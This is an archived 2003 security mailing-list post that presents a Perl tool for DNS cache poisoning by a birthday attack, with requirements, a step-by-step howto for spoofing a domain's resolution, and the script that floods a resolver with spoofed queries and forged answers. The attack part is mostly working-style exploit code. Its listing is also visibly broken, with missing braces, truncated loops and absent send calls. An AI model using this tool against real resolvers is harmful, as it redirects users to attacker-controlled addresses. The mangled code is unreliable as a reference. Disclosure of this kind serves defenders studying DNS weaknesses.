An Implementation of a Birthday Attack in a DNS Spoofing Apr 24 2003 04:36PM
Ramon Izaguirre (ramontxo hotpop com)

An Implementation of a Birthday Attack in a DNS Spoofing.

By Ramon Izaguirre.

0.- Introduction,

In november 2002 Vagner Sacramento discovered that a dns server would reply
with n responses to n queries made
from different ip addresses for the same domain
that enables a more effective dns spoofing attack to be performed.

In jannuary 2002 Joe Stewart wrote an article about the different and new
DNS issues
(http://www.securityfocus.com/guest/17905) and included a perl script to
check the probability and sucessfulness
of an n-n attack (Birthday Attack) performed against a dns server but the
script did not carry out the attack itself.

This tool is a perl implementation of such an attack that does it. With the
upcoming of IPv6 DNS will become much
important that today is and its vulnerabilities even much more critical.

1.- Requirements,

* The DNS Server should allow recursive queries to be performed from you.
* Your ISP should allow you to send source ip spoofed packets.
* Your source ip should not be nated.

* Before running the tool itself you need to know the source port that the
dns server to be spoofed will use.
You can do it by modifiying the script of Joe Stewart and replace the line
that says:

printf "Received recursive query with transaction ID: $tid\r";

For a line that says:

printf "Received recursive query with transaction ID: $tid port

Save it and call it poison.pl for example.

2.- Howto.

Example: we have www.example.com and we want to deceive into
thinking that www.example.com
resolves to

a) Get the nameservers of example.com

dig example.com

example.com 43200 IN NS ns1.example.com
ns1.example.com 43200 IN A

dig @ www.example.com

www.example.com 172800 IN A ...; this number 172800 is the DNS TTL. see

b) Run poison.pl against a domain that points to you. it will give you the
source port.

./poison.pl www.mydomain.com

source port: 65423

c) Launch hds0.pl

./hds0.pl 32546 www.example.com

d) See if you were sucessful. Be careful here! If you have been unsucessful
in your attack you will need to
wait 172800 seconds (48 hours) to launch the attack again.

dig @ www.example.com

www.example.com 86400 IN A

3.- Be careful with...

* The domains have usually more than one DNS Server and you do not know
which one of both will be asked the query.
* If you are running out of time in your security test, be careful with
step d) as if you do it and you have
not been sucessful in the previous step, you will wait from 24 to 48 to be
able to perform attack again so may be
it is better to perform it in the first steps of the security testing

4.- The tool.

# By Ramon Izaguirre
# happydnspoofing is a tool to perform a more effective DNS spoofing attack
by taking advantage of the vulnerability exposed by Vagner Sacramento
(http://www.rnp.br/cais/alertas/2002/cais-ALR-19112002a.html) and pointed
out by Joe Stewart (http://www.securityfocus.com/guest/17905).
# the sintax looks quite rare but think how to build the spoofed packet and
it will make sense.
# for example:
# we have www.example.com and we want to deceive ( a dns server
that allows recursive queries to be performed) into thinking that
www.example.com resolves to
# dig (the dns server of) example.com -> source(ip) =
# -> destination(ip) =
# poison.pl www.mydomain.com-> source_port = 32546
# -> domain = www.example.com
# -> spoofed(ip) =
# for a probability of 100% sucess -> number_of_packets = 1140
# <---------------------------------- ip
packet ---------------------------------------->
# <-------------------udp
# <-----------dns
# |...|source(ip)|destination(ip)|...|source_port|...| domain |
spoofed(ip) |...|
# ------------------------------------------------------------------------
# |...| | |...| 32546 |...| www.example.com | |...|
# ------------------------------------------------------------------------
# ./hds0.pl 32546 www.example.com

use Net::DNS;
use Net::RawIP qw(:pcap);
#use strict; # too strict

$| = 1;
my $usage = "\nusage: $0 source(ip) destination(ip) source_port domain
spoofed(ip) [number_of_packets]\n";

die "$usage" unless $ARGV[0] && $ARGV[1] && $ARGV[2] && $ARGV[3] &&

# those are parameters to build the queries at layers 3,4,7.
my @anyip;
my @anyport;
my @anyid;

# those are parameters to build the fake responses at layers 3,4,7.
my $saddr=$ARGV[0];
my $daddr=$ARGV[1];
my $sport=$ARGV[2];
my $dport='53';
my $fakeip = $ARGV[4];
my @transId;

# parameters for both, queries and responses.
my $domain = $ARGV[3];

# more parameters.
$m = 1140;
if ($ARGV[5]!=0) {$m = $ARGV[5];}

# auxiliary parameters.
my $s;
my $t;
my $x;
my $port_range = 64512; #65536-1024
my $id_range = 65536;

# build query packets skeleton...
my $packet_q = Net::DNS::Packet->new($domain);
my $restpacket_q = substr($packet_q->data,2);
my $udp_q = new Net::RawIP({ip=> {daddr=>$daddr}, udp=>{dest=>$dport}});

# build response packets skeleton and more...
my $packet_r = Net::DNS::Packet->new($domain);
$packet_r->push("pre",rr_add($domain . " A " . $fakeip));
my $restpacket_r = substr($packet_r->data,2);
my $udp_r = new Net::RawIP({ip=> {saddr=>$saddr, daddr=>$daddr},
udp=>{source=>$dport, dest=>$sport}});

for (0..($m - 1))
{ $anyip[$_] =
$anyport[$_] = sprintf("%d", int(rand($port_range)+1024));
$anyid[$_] = pack ("H*", sprintf("%.4x", int(rand($id_range))));

#print "\n---> Source IP\t\tDestination IP\tSPort\tDPort\ttransaction ID";

# Generate unique transaction Ids.

print "\nGenerating unique transaction id numbers...";

for ($x=0; $x<$m; $x++)
$s = pack ("H*", sprintf("%.4x", int(rand($id_range))));
for (@transId) { if ( $s eq $_ ) {$t = 1; break;}}
$transId[$x] = $s;
# print "\n---> $anyip[$x]\t$daddr\t$anyport[$x]\t$dport";

# start sending queries...

print "\nSending the packets...";

for (0..($m - 1)) {
$udp_q->set({ip=> {saddr=>$anyip[$_]}, udp=>{source=>$anyport[$_],
data=>$anyid[$_] . $restpacket_q}});

# start sending responses...
for (@transId) {
$udp_r->set({udp=>{data=>$_ . $restpacket_r}});

print "\nDone.\n";

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus